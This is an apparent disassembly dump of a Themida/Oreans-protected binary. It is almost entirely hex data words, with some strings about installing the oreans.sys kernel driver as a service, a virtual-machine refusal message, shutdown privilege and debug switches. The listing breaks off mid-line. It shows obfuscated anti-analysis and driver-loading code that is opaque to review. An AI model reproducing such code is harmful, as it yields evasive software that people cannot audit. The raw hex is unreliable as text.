0FF06072Eh, 9A5C7B5h, 0D395FF06h, 0FF0609A5h dd 9A5C7B5h, 0C995FF06h, 0C3060723h, 0A5CB8589h, 858D0609h dd 609A5C7h, 31858D50h, 500609A5h, 168h, 0D795FF80h, 6A0609A5h dd 0CB858D04h, 500609A5h, 6A046Ah, 0A54D858Dh, 0FF500609h dd 9A5C7B5h, 0E995FF06h, 0FF06072Eh, 9A5C7B5h, 0D395FF06h dd 0FF0609A5h, 9A5C7B5h, 0C995FF06h, 0C3060723h, 2F11BD83h dd 0F000607h, 0B84h, 119D8B00h, 8306072Fh, 3894CC3h, 11BD83C3h dd 6072Fh, 0B840Fh, 9D8B0000h, 6072F11h, 8950C383h, 0BD83C303h dd 6072F11h, 0B840F00h, 8B000000h, 72F119Dh, 54C38306h dd 83C30389h, 72F11BDh, 840F0006h, 0Bh, 2F119D8Bh, 0C3830607h dd 0C3038958h, 2F11BD83h, 0F000607h, 0B84h, 119D8B00h dd 8306072Fh, 3895CC3h, 8960C3C3h, 9A5CB85h, 0C7858D06h dd 500609A5h, 0A531858Dh, 68500609h, 80000001h, 0A5D795FFh dd 46A0609h, 0A5CB858Dh, 6A500609h, 8D006A04h, 9A5C285h dd 0B5FF5006h, 609A5C7h, 2EE995FFh, 0BD830607h, 6070211h dd 0C840F00h, 0FF000000h, 9A5C7B5h, 0D395FF06h, 0FF0609A5h dd 9A5C7B5h, 0C995FF06h, 61060723h, 858960C3h, 609A5CBh dd 0A5C7858Dh, 8D500609h, 9A53185h, 1685006h, 0FF800000h dd 9A5D795h, 8D046A06h, 9A5CB85h, 46A5006h, 858D006Ah dd 609A5A4h, 0C7B5FF50h, 0FF0609A5h, 72EE995h, 11BD8306h dd 60702h, 0C840Fh, 0B5FF0000h, 609A5C7h, 0A5D395FFh, 0B5FF0609h dd 609A5C7h, 23C995FFh, 0C3610607h, 0CB858960h, 8D0609A5h dd 9A5C785h, 858D5006h, 609A531h, 16850h, 95FF8000h, 609A5D7h dd 858D046Ah, 609A5CBh, 6A046A50h, 0AB858D00h, 500609A5h dd 0A5C7B5FFh, 95FF0609h, 6072EE9h, 211BD83h, 0F000607h dd 0C84h, 0C7B5FF00h, 0FF0609A5h, 9A5D395h, 0C7B5FF06h dd 0FF0609A5h, 723C995h, 60C36106h, 0A5CB8589h, 858D0609h dd 609A5C7h, 31858D50h, 500609A5h, 168h, 0D795FF80h, 6A0609A5h dd 0CB858D04h, 500609A5h, 6A046Ah, 0A5B3858Dh, 0FF500609h dd 9A5C7B5h, 0E995FF06h, 8306072Eh, 70211BDh, 840F0006h dd 0Ch, 0A5C7B5FFh, 95FF0609h, 609A5D3h, 0A5C7B5FFh, 95FF0609h dd 60723C9h, 8960C361h, 9A5CB85h, 0C7858D06h, 500609A5h dd 0A531858Dh, 68500609h, 80000001h, 0A5D795FFh, 46A0609h dd 0A5CB858Dh, 6A500609h, 8D006A04h, 9A5BA85h, 0B5FF5006h dd 609A5C7h, 2EE995FFh, 0BD830607h, 6070211h, 0C840F00h dd 0FF000000h, 9A5C7B5h, 0D395FF06h, 0FF0609A5h, 9A5C7B5h dd 0C995FF06h, 61060723h, 85C760C3h, 609A5CBh, 1, 0A5C7858Dh dd 8D500609h, 9A53185h, 2685006h, 0FF800000h, 9A5D795h dd 0FC00B06h, 0F84h, 0CB85C700h, 609A5h, 0E9000000h, 4Dh dd 858D046Ah, 609A5CBh, 6A046A50h, 45858D00h, 500609A5h dd 0A5C7B5FFh, 95FF0609h, 6072EE9h, 840FC00Bh, 0Fh, 0A5CB85C7h dd 609h, 0AE90000h, 0C7000000h, 9A5CB85h, 106h, 0C7B5FF00h dd 0FF0609A5h, 723C995h, 858B6106h, 609A5CBh, 858960C3h dd 609A5CBh, 0A5C7858Dh, 8D500609h, 9A53185h, 1685006h dd 0FF800000h, 9A5D795h, 8D046A06h, 9A5CB85h, 46A5006h dd 858D006Ah, 609A545h, 0C7B5FF50h, 0FF0609A5h, 72EE995h dd 11BD8306h, 60702h, 0C840Fh, 0B5FF0000h, 609A5C7h, 0A5D395FFh dd 0B5FF0609h, 609A5C7h, 23C995FFh, 0C3610607h, 0CB858960h dd 8D0609A5h, 9A5C785h, 858D5006h, 609A531h, 16850h, 95FF8000h dd 609A5D7h, 858D046Ah, 609A5CBh, 6A046A50h, 57858D00h dd 500609A5h, 0A5C7B5FFh, 95FF0609h, 6072EE9h, 211BD83h dd 0F000607h, 0C84h, 0C7B5FF00h, 0FF0609A5h, 9A5D395h dd 0C7B5FF06h, 0FF0609A5h, 723C995h, 0C6C36106h, 7152585h dd 7685206h, 0FFADE47Bh, 730A5B5h, 995FF06h, 89060720h dd 9A5D785h, 2585C606h, 52060715h, 2E00E568h, 0A5B5FF90h dd 0FF060730h, 7200995h, 0D3858906h, 0C60609A5h, 7152585h dd 35685206h, 0FFB9BF12h, 730A5B5h, 995FF06h, 89060720h dd 72EE985h, 2585C606h, 52060715h, 78103468h, 0A5B5FF98h dd 0FF060730h, 7200995h, 0C9858906h, 0C6060723h, 7152585h dd 0D4685206h, 0FFC005DBh, 730A5B5h, 995FF06h, 89060720h dd 704DD85h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 81C08B00h dd 50E833E6h, 11BD8368h, 60702h, 0BD830975h, 6070D65h dd 50197400h, 0B8C08B53h, 40Fh, 302D8589h, 9D8D0607h, 609AAA8h dd 585BD3FFh, 0D65BD83h, 74000607h, 0B8535017h, 40Fh, 302D8589h dd 9D8D0607h, 609A797h, 585BD3FFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 7EC35646h, 77EB7E83h, 12E8F9h dd 0A2AE0000h, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h dd 8959AFB6h, 70D6D95h, 6AC08B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7672C351h dd 0E4D67487h, 0B6BB9398h, 2585C674h, 43060715h, 6827C980h dd 0CDBE8D6Dh, 4820Fh, 0BE660000h, 3481D584h, 30E39124h dd 0EFEF8171h, 0FF096EE6h, 72939B5h, 8D858D06h, 6A060738h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0C457C355h, 890FDD47h, 6, 17458D0Bh, 0D0FF0607h dd 0AE9h, 36F1D900h, 0FFE7A49Ch, 90283321h, 8E9h, 0D69C2800h dd 0FCBE151Ch, 0EE9504Bh, 33000000h, 8E637AF0h, 4685336Ch dd 0C03821E2h, 0BF0F90C4h, 6A006AF1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 3008C350h dd 88B654ACh, 6870Fh, 0B5890000h, 6070491h, 4E8h, 8000h dd 12E800h, 0E14A0000h, 0FB3F67CBh, 3652E578h, 0CA620EBFh dd 0A04EF43Eh, 5E9h, 0A36B9000h dd 505EFC66h, 96B96660h, 0F28B662Fh, 24448B61h, 8BD08B04h dd 0F525000h, 89585A31h, 66042444h, 0E858D08Bh, 11h, 5B1ECCB5h dd 0F5EA27CFh, 73F1EC42h, 8B0874D1h, 36A59F7h, 0BD8B006Ah dd 6071691h, 0B70F036Ah, 4E8CAh, 0 dd 0F60C000h, 583h, 26D7B900h, 0F38B4823h, 11E85061h, 7000000h dd 0B9E1A83Ch, 65C31480h, 0AABFB25Ah, 0C1B3B206h, 61605250h dd 890F310Fh, 0 dd 8B59585Ah, 0B9042444h, 0F3414E1h, 5250008Bh, 0EE8310Fh dd 0D7000000h, 54B357B0h, 81AD442Fh, 9ACCF1EFh, 5F5F514Bh dd 4489585Ah, 0CCBE0424h, 5847A9F9h, 8D6DE980h, 9AC0E9Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0A39A3484h, 0C2D7DB87h, 93CEB70Fh, 0E950A3B6h dd 6, 3DD97920h, 0F593FB58h, 6AD0FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0AB77DDC3h dd 6F3D8671h, 86CFC781h, 0F405362h, 2C185h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B2468FAh, 72C358Dh, 61B58906h, 58060704h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 24C35141h, 0C781FDBEh dd 0D374A83h, 50F1BF0Fh, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6874C356h dd 5960002Eh, 0F2B25FD4h, 10E9D18Bh, 0A8000000h, 7BE7F0D6h dd 0B21FFC52h, 0D159C7B2h, 6A8FA362h, 68A0F00h, 81000000h dd 0A7C87BE9h, 4E814h, 800000h, 52500000h, 0C18B6660h dd 50310F61h, 2A53BE52h, 310F343Dh, 585A5E50h, 6650585Ah dd 8B77FEBEh, 66042444h, 8BA4FEBFh, 8937B200h, 0E9042444h dd 0Bh, 0D257193Ch, 0D7D2B64Eh, 580C7F73h, 36AD18Bh, 432B25BFh dd 0F006A5Eh, 36AD6B7h, 82256BBAh, 10416865h, 0E9516719h dd 5, 0FF2C82E4h, 481599Ch, 0E6EFBF24h, 0C8C0F58h, 0F000000h dd 68Ch, 8F0F00h, 8D000000h, 9AC179Dh, 9DD78106h, 50336CA5h dd 1C89FB8Bh, 1DB96624h, 89D0FFB6h, 70F3195h, 0D1BF0F06h dd 73850F40h, 60000001h, 0F8FDC2B8h, 9523532Ah, 6072381h dd 0E858615Bh, 12h, 67D4613Fh, 4729E77Eh, 93AFC2A8h, 0BCA5F260h dd 905F5AB1h, 0DE9h, 0C03F4600h, 92B06C45h, 0B7D7363Ah dd 0E85062ADh, 0Ah, 0EFC31693h, 0A12A7983h, 8B0FE042h dd 16h, 10E8h, 0D2191100h, 7795630h, 0B5189893h, 33143080h dd 905F5FADh, 365B58Bh, 6A0607h, 101D8589h, 77680607h dd 0B6B6666Eh, 2404816Ch, 49999209h, 9A9BD89h, 952B0607h dd 60700EDh, 5ABA036Ah, 6A4398F2h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BA24BBDh dd 7322195h, 6AF48A06h, 0F4CB103h, 68Bh, 11858900h, 6806070Ah dd 90FC9C04h, 7696BF53h, 815909A1h, 63FC2404h, 6A2F03h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 7FE905C3h, 666B60E2h, 57B68DBEh, 5E9h, 0A5D1D200h, 8D598E19h dd 9AC229Dh, 0D958906h, 66060702h, 44D1D181h, 50D08B93h dd 0EBFB64BEh, 89F5936Fh, 72DC585h, 6AD0FF06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 66EEC351h, 31149E11h, 0D58D23D1h, 8006071Ch, 0F4066DAh dd 985h, 58FA8B00h, 136E9h, 0D88BFC00h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 77C35242h, 8DC5B98Ch dd 65DAE12Bh, 5E8h, 0AAE95600h, 9589DF80h, 6071D35h, 840F4B5Fh dd 6, 1CA9958Bh, 958B0607h, 6071381h, 11E958h, 0DC1B0000h dd 0BA7C4062h, 997DF1AEh, 9ABE0BE0h, 0C63972F5h, 7152585h dd 6A4306h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0FAD0B8C3h, 585B5132h, 0C6816639h, 4E8E115h dd 0A7000000h, 60C0764Ah, 0B563BB66h, 0FE8B5250h, 585A310Fh dd 7E85061h, 2000000h, 5FEAB1ECh, 8B598C08h, 66042444h dd 8B4FE6BEh, 8B665000h, 448959FAh, 0BF660424h, 0FF584139h dd 72939B5h, 8D61B506h, 7388D85h, 7BF28106h, 0FF0CE3DAh dd 2B4FBFD0h, 66504141h, 1C89CA8Bh, 1DBD8B24h, 0FF06070Eh dd 0FBBF0FD0h, 6EC19D8Dh, 0BD010607h, 6071601h, 1B8FCh dd 0D78B0000h, 14E9h, 4A787A00h, 7A2FAA6Eh, 47BCF338h dd 0F48AF105h, 297F76BAh, 0FE3FFCFh, 686h, 0DD853100h dd 8B060713h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 44252CD0h, 24CAF063h, 6D9D898Ah dd 8B060730h, 70459BDh, 0E9C08B06h, 0Ch, 701A386Bh, 6FC8BE49h dd 0A011B041h, 211BD83h, 75000607h, 65BD8309h, 6070Dh dd 53501974h, 0FB8C08Bh, 89000004h, 723A985h, 0F9D8D06h dd 0FF0609ABh, 83585BD3h, 70D65BDh, 17740006h, 0FB85350h dd 89000004h, 723A985h, 0B09D8D06h, 0FF0609A7h, 33585BD3h dd 709DDBDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0B58B893Ah, 60720D5h, 0EE9C08Bh dd 33000002h, 6E6E6143h, 7720746Fh, 65746972h, 65726F20h dd 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h, 74206572h dd 20746168h, 73696874h, 6C696620h, 73692065h, 746F6E20h dd 69656220h, 7520676Eh, 20646573h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 6071525h, 5B866847h, 0B5FFE3E4h dd 6072939h, 388D858Dh, 0D0FF0607h, 10468h, 859D8D00h dd 5306071Eh, 8D50D0FFh, 9B5AAB5h, 32FE8B06h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 7152585h dd 0FC684306h, 0FFBC8E6Eh, 72939B5h, 8D858D06h, 0FF060738h dd 85B58DD0h, 6A06071Eh, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 6071525h, 0EE566857h, 0B5FFA69Bh dd 6072939h, 388D858Dh, 0D0FF0607h, 1621BD8Dh, 8D8D0607h dd 609B6D0h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0B3B2B58Dh, 858D0609h, 609A3A6h, 8D8DD0FFh, 6076EC1h dd 0B8h, 0C6E1FF00h, 7152585h, 0A7684306h, 0FFC0764Ah dd 72939B5h, 8D858D06h, 0FF060738h, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 24Fh dup(0) db 0 byte_567EE9 db 3 dup(0) ; DATA XREF: Themida_:0055D178o dd 110h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 5E800h, 0A4300000h dd 0F8E9E2Bh, 686h, 0F19D8B00h, 5A060706h, 0CE9h, 0A8C12400h dd 0F36D514Ch, 0C4CD4543h, 4AC28185h, 89000064h, 72C359Dh dd 0FC92B06h, 34FFF1BFh, 10E911h, 9BC40000h, 4782A1EAh dd 36C1EA3Bh, 5D07D32Ch, 665F46D3h, 0EF81C18Bh, 3A6BEC1h dd 0C781F08Bh, 41E0C21Eh, 0E900B866h, 65B6F781h, 0AE93644h dd 8F000000h, 8859DC08h, 0F140CD09h, 0A3C897Fh, 0F9B52350h dd 5E06070Dh, 2C51858Bh, 0E9830607h, 29CB8101h, 491FE276h dd 0E3814949h, 2A745E2Dh, 9C88F981h, 850FFFFFh, 18h, 2AE9F5h dd 63C00000h, 91AC1B0Ch, 0BBEEBFD6h, 1C7007D0h, 887B356Fh dd 1A05B52Bh, 6BE90607h, 4AFFFFFFh, 0FA750DCEh, 6104DCE5h dd 0AA9417F3h, 99E9h, 75622F00h, 65686367h, 326B63h, 6775622Fh dd 63656863h, 662F006Bh, 6563726Fh, 6E7572h, 6775622Fh dd 63656863h, 6C75666Bh, 732F006Ch, 63776F68h, 65646Fh dd 6F68732Fh, 646F6377h, 2F003265h, 74726C63h, 69642F00h dd 2F003173h, 776F6873h, 74736E69h, 65636E61h, 65672F00h dd 736C7774h, 75746174h, 6C2F0073h, 7473676Fh, 73757461h dd 75642F00h, 7473706Dh, 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 609F000h, 0A840F00h, 0C7000000h, 70D6585h, 106h, 2585C600h dd 47060715h, 49F18668h, 2404812Eh, 62237B07h, 2939B5FFh dd 858D0607h, 607388Dh, 0D0FFD0FFh, 3F80F88Bh, 22850F22h dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh dd 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h, 0AE80000h, 0E9000000h dd 0FFFFFFCBh, 2B4E9h, 80B58D00h, 0E80609EFh, 225h, 0F015BD03h dd 0BD830609h, 609F015h, 0B840F00h, 0C7000000h, 7021185h dd 106h, 0B58DC300h, 609EF8Bh, 1FCE8h, 15BD0300h, 830609F0h dd 9F015BDh, 840F0006h, 0Bh, 0D6585C7h, 10607h, 8DC30000h dd 9F004B5h, 1D3E806h, 0BD030000h, 609F015h, 0F015BD83h dd 0F000609h, 0B84h, 9585C700h, 1060714h, 0C3000000h, 0EF95B58Dh dd 0AAE80609h, 3000001h, 9F015BDh, 15BD8306h, 609F0h, 0B840Fh dd 85C70000h, 6070D65h, 1, 9FB58DC3h, 0E80609EFh, 181h dd 0F015BD03h, 0BD830609h, 609F015h, 15840F00h, 0C7000000h dd 70D6585h, 106h, 1185C700h, 1060702h, 0C3000000h, 0EFADB58Dh dd 4EE80609h, 3000001h, 9F015BDh, 15BD8306h, 609F0h, 0A840Fh dd 85C70000h, 6072389h, 1, 0EFB7B58Dh, 26E80609h, 3000001h dd 9F015BDh, 15BD8306h, 609F0h, 0A840Fh, 85C70000h, 6072389h dd 1, 0EFC2B58Dh, 0FEE80609h, 3000000h, 9F015BDh, 15BD8306h dd 609F0h, 0A840Fh, 85C70000h, 6071699h, 1, 0EFC8B58Dh dd 0D6E80609h, 3000000h, 9F015BDh, 15BD8306h, 609F0h, 0A840Fh dd 85C70000h, 6071391h, 1, 0EFCEB58Dh, 0AEE80609h, 3000000h dd 9F015BDh, 15BD8306h, 609F0h, 0A840Fh, 85C70000h, 6073261h dd 1, 0EFDCB58Dh, 86E80609h, 3000000h, 9F015BDh, 15BD8306h dd 609F0h, 0A840Fh, 85C70000h, 6070A59h, 1, 0EFE9B58Dh dd 5EE80609h, 3000000h, 9F015BDh, 15BD8306h, 609F0h, 0A840Fh dd 85C70000h, 60719C1h, 1, 0EFF4B58Dh, 36E80609h, 3000000h dd 9F015BDh, 15BD8306h, 609F0h, 0A840Fh, 85C70000h, 60704C9h dd 1, 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh dd 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h dd 5850F00h, 0B9000000h, 0 dd 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h, 8840F00h dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 609F015h, 0AE9h, 1585C700h dd 609F0h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh dd 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 4 dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 4 dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 4 dd 0D9h dup(0) a_Oreans_vxd db '\\.\Oreans.vxd',0 align 10h dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 align 10h aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 dd 0 dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 8BC48B00h, 732D995h, 29858906h, 0F06072Fh, 28Bh, 8BCA8B00h dd 7E8C0h, 0AF990000h, 649459A0h, 59EC8A84h, 211BD83h dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 3DB8C08Bh dd 89000004h, 7302D85h, 0A89D8D06h, 0FF0609AAh, 83585BD3h dd 70D65BDh, 17740006h, 3DB85350h, 89000004h, 7302D85h dd 979D8D06h, 0FF0609A7h, 8B585BD3h, 71FC58Dh, 8BC08B06h dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0D38B669Ch, 211BD83h, 75000607h, 65BD8309h dd 6070Dh, 53501374h, 0B8C08Bh, 8D000000h, 9A94A9Dh, 5BD3FF06h dd 65BD8358h, 6070Dh, 53501174h, 0B8h, 0FB9D8D00h, 0FF0609A7h dd 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 45D2C353h, 8A6FE66h, 0E95603BDh dd 14h, 65A5B5B7h, 0D954F50Ch, 0F5C6842h, 981686C8h, 331C7445h dd 0BD89C08Bh, 6072CB9h, 13E9h, 253F5100h, 0B8C33935h dd 9FEC10F4h, 0A10075F3h, 45F24038h, 8D8BC08Bh, 6073161h dd 211BD83h, 75000607h, 65BD8309h, 6070Dh, 53501374h, 0B8C08Bh dd 8D000000h, 9A87C9Dh, 5BD3FF06h, 65BD8358h, 6070Dh, 53501174h dd 0B8h, 0C99D8D00h, 0FF0609A7h, 60585BD3h, 0F28B66F9h dd 0CE85361h, 87000000h, 6E8093CFh, 0FE4F5AC0h, 23F83BEDh dd 723C195h, 8B5A5A06h, 2D8589C0h, 8B060710h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0E328D0D6h, 11BD836Ah, 60702h, 0BD830975h, 6070D65h dd 50137400h, 0B8C08B53h, 0 dd 0A8E39D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h, 50117400h dd 0B853h, 9D8D0000h, 609A7E2h, 585BD3FFh, 32698D89h, 0F600607h dd 352D9BFh, 72141BDh, 8B615806h, 0CF8B66C0h, 0F88BC08Bh dd 0EC9958Bh, 0BD830607h, 6070211h, 83097500h, 70D65BDh dd 13740006h, 0C08B5350h, 0B8h, 159D8D00h, 0FF0609A8h dd 89585BD3h, 71671B5h, 0FAD8BF06h, 81661619h, 8B85F0F1h dd 0D18166C0h, 0C08B688Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 69C35141h, 9E971h, 5A1F0000h, 0D8560184h dd 837F269Dh, 70211BDh, 9750006h, 0D65BD83h, 74000607h dd 8B535019h, 7D0B8C0h, 85890000h, 607302Dh, 0AAA89D8Dh dd 0D3FF0609h, 0BD83585Bh, 6070D65h, 50177400h, 7D0B853h dd 85890000h, 607302Dh, 0A7979D8Dh, 0D3FF0609h, 8D31585Bh dd 6071C85h, 38C0Fh, 0CE800000h, 6AC08B74h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8972C351h dd 71535BDh, 2585C606h, 53060715h, 509BD8Bh, 90680607h dd 6699395Fh, 831AD981h, 2939B5FFh, 0E9570607h, 9, 0A4DC05C8h dd 31872927h, 858D59C2h, 607388Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 4AC35141h, 8B4DBAB5h, 71399BDh dd 56D0FF06h, 0E35BD01h, 89590607h, 71C1985h, 12E806h dd 6D7D0000h, 0FDD4C707h, 26C37F10h, 2308FC35h, 0BC5CC73Fh dd 89597BB6h, 714A185h, 2585C606h, 57060715h, 68CEBF0Fh dd 90045206h, 0B5FFFB8Bh, 6072939h, 0AE9h, 8C0BFE00h, 0ABD1406Dh dd 8DA2567Bh, 7388D85h, 0D3B70F06h, 0D0FFD38Ah, 1993A6B9h dd 3D858946h, 0B1060721h, 2585C6EBh, 43060715h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 58C35646h, 8883B083h dd 18D2903h, 8906072Fh, 7313585h, 70286806h, 0BF0FBC90h dd 39B5FFCAh, 0F060729h, 68Fh, 41850900h, 66060701h, 8D6E54BAh dd 7388D85h, 1D8D8B06h, 0FF060728h, 0B19D89D0h, 89060723h dd 71D2185h, 6DBD8906h, 0C6060720h, 7152585h, 85294C06h dd 60719F9h, 0DA1CE968h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 958BD1F5h, 60700F1h, 2DB98D8Bh dd 0B5FF0607h, 6072939h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 50C35141h, 709CC2CFh, 858D1EDBh, 607388Dh dd 0FFCABF0Fh, 79958BD0h, 89060704h, 723F185h, 25958906h dd 0C6060701h, 7152585h, 8D894606h, 6072099h, 6ED28166h dd 6146828h, 14E8BADEh, 71000000h, 7CA11C22h, 67981805h dd 1F71C222h, 70556791h, 0E9F28C3Ah, 7, 909EB5F6h, 59932459h dd 2939B5FFh, 